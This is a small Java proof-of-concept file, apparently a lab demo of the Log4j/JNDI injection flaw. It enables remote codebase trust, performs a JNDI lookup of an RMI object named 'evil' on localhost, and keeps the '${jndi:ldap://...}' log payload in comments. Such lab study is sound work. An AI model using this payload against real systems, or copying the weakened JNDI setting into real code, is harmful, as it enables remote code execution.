package com.cjx.myself.poc.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;


public class Log4j {
    private static final Logger logger = LogManager.getLogger(Log4j.class);

    public static void main(String[] args) throws IOException, NamingException {
//        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jPoc}");
//        System.out.println("test");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        InitialContext initialContext = new InitialContext();
//        initialContext.lookup("rmi://127.0.0.1:1099/Log4jPoc");
        initialContext.lookup("rmi://127.0.0.1:1099/evil");
//        initialContext.lookup("ldap://127.0.0.1:1389/Log4jPoc");
    }
}
